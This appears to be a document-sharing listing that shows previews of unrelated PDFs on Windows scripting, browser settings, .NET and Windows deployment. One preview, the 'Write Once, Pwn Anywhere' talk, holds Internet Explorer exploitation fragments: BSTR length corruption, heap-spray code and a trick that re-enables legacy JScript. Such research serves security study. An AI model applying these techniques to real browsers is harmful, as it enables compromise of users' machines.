An Introduction to Windows Scripting
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Interaction Between Web Browsers and Script Engines
IT 12 058 Examensarbete 45 hp November 2012 Interaction between web browsers and script engines Xiaoyu Zhuang Institutionen för informationsteknologi Department of Information Technology Abstract Interaction between web browser and the script engine Xiaoyu Zhuang Teknisk- naturvetenskaplig fakultet UTH-enheten Web browser plays an important part of internet experience and JavaScript is the most popular programming language as a client side script to build an active and Besöksadress: advance end user experience. The script engine which executes JavaScript needs to Ångströmlaboratoriet Lägerhyddsvägen 1 interact with web browser to get access to its DOM elements and other host objects. Hus 4, Plan 0 Browser from host side needs to initialize the script engine and dispatch script source code to the engine side. Postadress: This thesis studies the interaction between the script engine and its host browser. Box 536 751 21 Uppsala The shell where the engine address to make calls towards outside is called hosting layer. This report mainly discussed what operations could appear in this layer and Telefon: designed testing cases to validate if the browser is robust and reliable regarding 018 – 471 30 03 hosting operations. Telefax: 018 – 471 30 00 Hemsida: http://www.teknat.uu.se/student Handledare: Elena Boris Ämnesgranskare: Justin Pearson Examinator: Lisa Kaati IT 12 058 Tryckt av: Reprocentralen ITC Contents 1. Introduction................................................................................................................................ -
How to Change Your Browser Preferences So It Uses Acrobat Or Reader PDF Viewer
How to change your browser preferences so it uses Acrobat or Reader PDF viewer. If you are unable to open the PDF version of the Emergency Action Plan, please use the instructions below to configure your settings for Firefox, Google Chrome, Apple Safari, Internet Explorer, and Microsoft Edge. Firefox on Windows 1. Choose Tools > Add-ons. 2. In the Add-ons Manager window, click the Plugins tab, then select Adobe Acrobat or Adobe Reader. 3. Choose an appropriate option in the drop-down list next to the name of the plug-in. 4. Always Activate sets the plug-in to open PDFs in the browser. 5. Ask to Activate prompts you to turn on the plug-in while opening PDFs in the browser. 6. Never Activate turns off the plug-in so it does not open PDFs in the browser. Select the Acrobat or Reader plugin in the Add-ons Manager. Firefox on Mac OS 1. Select Firefox. 2. Choose Preferences > Applications. 3. Select a relevant content type from the Content Type column. 4. Associate the content type with the application to open the PDF. For example, to use the Acrobat plug-in within the browser, choose Use Adobe Acrobat NPAPI Plug-in. Reviewed 2018 How to change your browser preferences so it uses Acrobat or Reader PDF viewer. Chrome 1. Open Chrome and select the three dots near the address bar 2. Click on Settings 3. Expand the Advanced settings menu at the bottom of the page 4. Under the Privacy and security, click on Content Settings 5. Find PDF documents and click on the arrow to expand the menu 6. -
Run-Commands-Windows-10.Pdf
Run Commands Windows 10 by Bettertechtips.com Command Action Command Action documents Open Documents Folder devicepairingwizard Device Pairing Wizard videos Open Videos Folder msdt Diagnostics Troubleshooting Wizard downloads Open Downloads Folder tabcal Digitizer Calibration Tool favorites Open Favorites Folder dxdiag DirectX Diagnostic Tool recent Open Recent Folder cleanmgr Disk Cleanup pictures Open Pictures Folder dfrgui Optimie Drive devicepairingwizard Add a new Device diskmgmt.msc Disk Management winver About Windows dialog dpiscaling Display Setting hdwwiz Add Hardware Wizard dccw Display Color Calibration netplwiz User Accounts verifier Driver Verifier Manager azman.msc Authorization Manager utilman Ease of Access Center sdclt Backup and Restore rekeywiz Encryption File System Wizard fsquirt fsquirt eventvwr.msc Event Viewer calc Calculator fxscover Fax Cover Page Editor certmgr.msc Certificates sigverif File Signature Verification systempropertiesperformance Performance Options joy.cpl Game Controllers printui Printer User Interface iexpress IExpress Wizard charmap Character Map iexplore Internet Explorer cttune ClearType text Tuner inetcpl.cpl Internet Properties colorcpl Color Management iscsicpl iSCSI Initiator Configuration Tool cmd Command Prompt lpksetup Language Pack Installer comexp.msc Component Services gpedit.msc Local Group Policy Editor compmgmt.msc Computer Management secpol.msc Local Security Policy: displayswitch Connect to a Projector lusrmgr.msc Local Users and Groups control Control Panel magnify Magnifier -
How to Check Your Browser Version on a PC
How to Check Your Browser Version on a PC Google Chrome (PC) 1) Click on the Menu Icon ( ) in the upper right corner of your browser window. 2) Click on Settings 3) Click on the About tab on the left-hand side of the page. 4) If you are not running the most recent version of Chrome available for your Operating System, you will be prompted to update Chrome. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Mozilla Firefox (PC) 1) Click on the Help menu at the top of your browser window. 2) Click on About Firefox at the bottom of the menu. 3) A small window will pop up showing your Firefox version number, and will tell you whether you are on the most recent version, or not. For your security, we recommend that you install all Security, App and Operating System updates as they become available. Internet Explorer (PC) 1) Click on the Gear Icon at the top of your browser window. 2) Click on the About Internet Explorer option. 3) A window will pop up showing you your Internet Explorer version. 4) If you are using Internet Explorer 9 or 10, you will need to make sure that you have TLS 1.2 enabled by: A) Clicking on the Gear Icon again. B) Click on Internet Options. C) Click on the Advanced Tab and scroll down to the option titled “Use TLS 1.2”. (This should be found at the bottome of the list of options.) The box next to this should be checked. -
Getting Started with Windows Scripting
Getting Started with Windows Scripting art I of the PowerShell, VBScript, and JScript Bible intro- IN THIS PART duces you to the powerful administrative tool that is Windows scripting. You’ll get an overview of Windows Chapter 1 P Introducing Windows Scripting scripting and its potential, and an introduction to three tech- nologies you can use for Windows scripting: VBScript, JScript, Chapter 2 and PowerShell. VBScript Essentials Chapter 3 JScript Essentials Chapter 4 PowerShell Fundamentals COPYRIGHTED MATERIAL 886804c01.indd6804c01.indd 1 11/21/09/21/09 11:16:17:16:17 PPMM 86804c01.indd 2 1/21/09 1:16:18 PM Introducing Windows Scripting indows scripting gives everyday users and administrators the ability to automate repetitive tasks, complete activities while IN THIS CHAPTER away from the computer, and perform many other time-saving W Introducing Windows scripting activities. Windows scripting accomplishes all of this by enabling you to create tools to automate tasks that would otherwise be handled manually, Why script Windows? such as creating user accounts, generating log files, managing print queues, or examining system information. By eliminating manual processes, you Getting to know can double, triple, or even quadruple your productivity and become more Windows Script Host effective and efficient at your job. Best of all, scripts are easy to create and Understanding the Windows you can rapidly develop prototypes of applications, procedures, and utili- scripting architecture ties; and then enhance these prototypes to get exactly what you need, or just throw them away and begin again. This ease of use gives you the flex- ibility to create the kinds of tools you need without a lot of fuss. -
Write Once, Pwn Anywhere
Write Once, Pwn Anywhere Yang Yu Twitter: @tombkeeper Agenda • Summon BSTR back • JScript 9 mojo • “Vital Point Strike” • “Interdimensional Execution” Who am I? • From Beijing, China • Director of Xuanwu Security Lab at Tencent – We're hiring • Researcher from 2002, geek from birth – Strong focus on exploiting and detection • Before 2002, I am a… Before 2002 Now Summon BSTR back About BSTR JScript 5.8 and earlier use BSTR to store String object data struct BSTR { LONG length; WCHAR* str; } var str = “AAAAAAAA”; 0:016> dc 120d0020 l 8 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. 120d0030 00410041 00000000 00000000 00000000 A.A............. Corrupt BSTR prefix var str = “AAAAAAAA”; 0:016> dc 120d0020 l 4 120d0020 00000010 00410041 00410041 00410041 ....A.A.A.A.A.A. writeByVul(0x120d0020, 0x7ffffff0); 0:016> dc 120d0020 l 4 120d0020 7ffffff0 00410041 00410041 00410041 ....A.A.A.A.A.A. var outofbounds = str.substr(0x22222200,4); * Peter Vreugdenhil, “Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit” Locate the address of BSTR prefix var strArr = heapSpray("\u0000"); var sprayedAddr = 0x14141414; writeByVul(sprayedAddr); for (i = 0; i < strArr.length; i++) { p = strArr[i].search(/[^\u0000]/); if (p != -1) { modified = i; leverageStr = strArr[modified]; bstrPrefixAddr = sprayedAddr - (p)*2 - 4; break; } } * Fermin J. Serna, “The info leak era on software exploitation” JScript 9 replaced JScript 5.8 since IE 9 JScript 9 does not use BSTR now So exploiters switch to flash vector object But, JScript 5.8 is still there We can summon it back The spell to summon JScript 5.8 back <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Encode"> … </Script> or <META http-equiv = "X-UA-Compatible" content = "IE=EmulateIE8"/> <Script Language = "JScript.Compact"> … </Script> * Some features are not supported with JScript.Compact, like eval(). -
NET Framework
Advanced Windows Programming .NET Framework based on: A. Troelsen, Pro C# 2005 and .NET 2.0 Platform, 3rd Ed., 2005, Apress J. Richter, Applied .NET Frameworks Programming, 2002, MS Press D. Watkins et al., Programming in the .NET Environment, 2002, Addison Wesley T. Thai, H. Lam, .NET Framework Essentials, 2001, O’Reilly D. Beyer, C# COM+ Programming, M&T Books, 2001, chapter 1 Krzysztof Mossakowski Faculty of Mathematics and Information Science http://www.mini.pw.edu.pl/~mossakow Advanced Windows Programming .NET Framework - 2 Contents The most important features of .NET Assemblies Metadata Common Type System Common Intermediate Language Common Language Runtime Deploying .NET Runtime Garbage Collection Serialization Krzysztof Mossakowski Faculty of Mathematics and Information Science http://www.mini.pw.edu.pl/~mossakow Advanced Windows Programming .NET Framework - 3 .NET Benefits In comparison with previous Microsoft’s technologies: Consistent programming model – common OO programming model Simplified programming model – no error codes, GUIDs, IUnknown, etc. Run once, run always – no "DLL hell" Simplified deployment – easy to use installation projects Wide platform reach Programming language integration Simplified code reuse Automatic memory management (garbage collection) Type-safe verification Rich debugging support – CLR debugging, language independent Consistent method failure paradigm – exceptions Security – code access security Interoperability – using existing COM components, calling Win32 functions Krzysztof -
Internet Explorer Users Are Required to Add the Portal URL to Trusted Sites
CLA Client Portal Browser and Silverlight FAQs 1. Question: I am receiving an “Error 500” when clicking the link to access the CLA Document Portal. Resolution: Verify with your IT department that the portal is not blocked by any internal monitoring or protection applications. 2. Question: How do I know if my computer has Microsoft Silverlight Installed? Resolution: The first time you try and login to the portal you will be prompted to install Silverlight from Microsoft’s website if you don’t have it already installed. The installation typically takes less than one minute and is completely safe. http://www.microsoft.com/getsilverlight/Get-Started/Install/Default.aspx If you cannot, or prefer not to, install Silverlight on your machine, a simplified version of the document portal that does not require Silverlight is available. Click on the Take me to the non- Silverlight login on the CLA Document Portal page (www.claconnect.com/docportal). 3. Question: I cannot access the CLA Document Portal. (Server error/Page not found) Resolution: Check that you are using a Microsoft Silverlight 4 compatible browser on all PC’s or MAC. A complete list of browsers and operating systems that support Silverlight 4 can be found at http://www.microsoft.com/getsilverlight/locale/en-us/html/installation-win-SL4.html Please note: Internet Explorer users are required to add the portal URL to Trusted Sites. Adding to Trusted Sites Internet Explorer settings 1. Open Internet Explorer and browse to https://portal.cchaxcess.com/Portal/. 2. In Internet Explorer, select Tools / Internet Options; then select the Security tab and click Trusted Sites and then Sites. -
Getting Started with Outlook Express for Windows 2000/XP Author Marcie Matsuo Revised by Darren Kato
WIN9X015 November 2005 Getting Started With Outlook Express For Windows 2000/XP Author Marcie Matsuo Revised by Darren Kato Introduction.................................................................................................................................1 What is Outlook Express ............................................................................................................1 Requirements ..............................................................................................................................2 Where do I get Outlook Express.................................................................................................2 Issues...........................................................................................................................................2 POP and IMAP ...........................................................................................................................2 Installing Outlook Express..........................................................................................................3 Configuring Outlook Express .....................................................................................................3 Using Outlook Express ...............................................................................................................9 Importing Messages From Other Mail Programs .....................................................................12 Using the Address Book ...........................................................................................................14 -
Download Deploying Windows 7, Essential Guidance
FROM THE Windows® 7 Resource Kit Mitch Tulloch, Tony Northrup, Jerry Honeycutt, Ed Wilson, and the Windows 7 Team at Microsoft I Chapter 3 Deployment Platform .............................................. 85 I Chapter 4 Planning Deployment ............................................ 113 I Chapter 5 Testing Application Compatability ........................... 139 I Chapter 6 Developing Disk Images ......................................... 179 I Chapter 7 Migrating User State Data ...................................... 223 I Chapter 8 Deploying Applications .......................................... 247 I Chapter 9 Preparing Windows PE ........................................... 273 I Chapter 10 Confi guring Windows Deployment Services .............. 293 I Chapter 11 Using Volume Activation ........................................ 335 I Chapter 12 Deploying with Microsoft Deployment Toolkit ........... 355 DEPLOYING WINDOWS 7 83 Chapter 3 Deployment Platform n Tools Introduction 85 n Windows 7 Deployment Terminology 87 n Platform Components 89 n Deployment Scenarios 99 n Understanding Setup 101 n Basic Deployment Process 105 n Microsoft Deployment Toolkit Process 107 n Summary 110 n Additional Resources 111 uilding on technology that the Windows Vista operating system introduced, Windows 7 Bdeployment technology has evolved significantly since Windows XP Professional . For example, it supports file-based disk imaging to make high-volume deployments quicker, more efficient, and more cost effective . The Windows 7 operating system also provides -
Internet Explorer
Internet Explorer Internet Explorer 11 To start Internet Explorer click on the icon below The procedure for identifying the version of Internet Explorer on your computer is as follows: 1. Start Internet Explorer 2. Move the cursor to the top right corner of the window and click the gear icon 3. Select “About Internet Explorer” from the drop down menu. Alternatively, you can click “Help” in the menu bar and select “About Internet Explorer“ from the menu. Useful tip: If you can’t see the “File, Edit, View, Help” menu bar, press the Alt key to make the menu bar visible. As shown below, in the “About Internet Explorer” window, you can view the Version number. Internet Explorer on your computer can be set to automatically install new versions when they become available. This can be done by checking the box to “Install new versions automatically” In the “About Internet Explorer” window. Internet Explorer 9 To view the “About” page in Internet Explorer: 1. At the top right of the program window, click the gear icon 2. Select “About Internet Explorer” in the drop down menu. The version number will be displayed in the “About Internet Explorer” window, see example below. Updating your Internet Explorer Browser Microsoft updates Internet Explorer using its Windows update feature. If you are regularly installing the latest Windows updates from Microsoft then you should be on the latest version of Internet Explorer. Note Windows 10 automatically updates Internet Explorer. Follow the procedure below to manually trigger an update of the Internet Explorer Browser: 1. Open the Control Panel. -
Windows® Scripting Secrets®
4684-8 FM.f.qc 3/3/00 1:06 PM Page i ® WindowsSecrets® Scripting 4684-8 FM.f.qc 3/3/00 1:06 PM Page ii 4684-8 FM.f.qc 3/3/00 1:06 PM Page iii ® WindowsSecrets® Scripting Tobias Weltner Windows® Scripting Secrets® IDG Books Worldwide, Inc. An International Data Group Company Foster City, CA ♦ Chicago, IL ♦ Indianapolis, IN ♦ New York, NY 4684-8 FM.f.qc 3/3/00 1:06 PM Page iv Published by department at 800-762-2974. For reseller information, IDG Books Worldwide, Inc. including discounts and premium sales, please call our An International Data Group Company Reseller Customer Service department at 800-434-3422. 919 E. Hillsdale Blvd., Suite 400 For information on where to purchase IDG Books Foster City, CA 94404 Worldwide’s books outside the U.S., please contact our www.idgbooks.com (IDG Books Worldwide Web site) International Sales department at 317-596-5530 or fax Copyright © 2000 IDG Books Worldwide, Inc. All rights 317-572-4002. reserved. No part of this book, including interior design, For consumer information on foreign language cover design, and icons, may be reproduced or transmitted translations, please contact our Customer Service in any form, by any means (electronic, photocopying, department at 800-434-3422, fax 317-572-4002, or e-mail recording, or otherwise) without the prior written [email protected]. permission of the publisher. For information on licensing foreign or domestic rights, ISBN: 0-7645-4684-8 please phone +1-650-653-7098. Printed in the United States of America For sales inquiries and special prices for bulk quantities, 10 9 8 7 6 5 4 3 2 1 please contact our Order Services department at 1B/RT/QU/QQ/FC 800-434-3422 or write to the address above.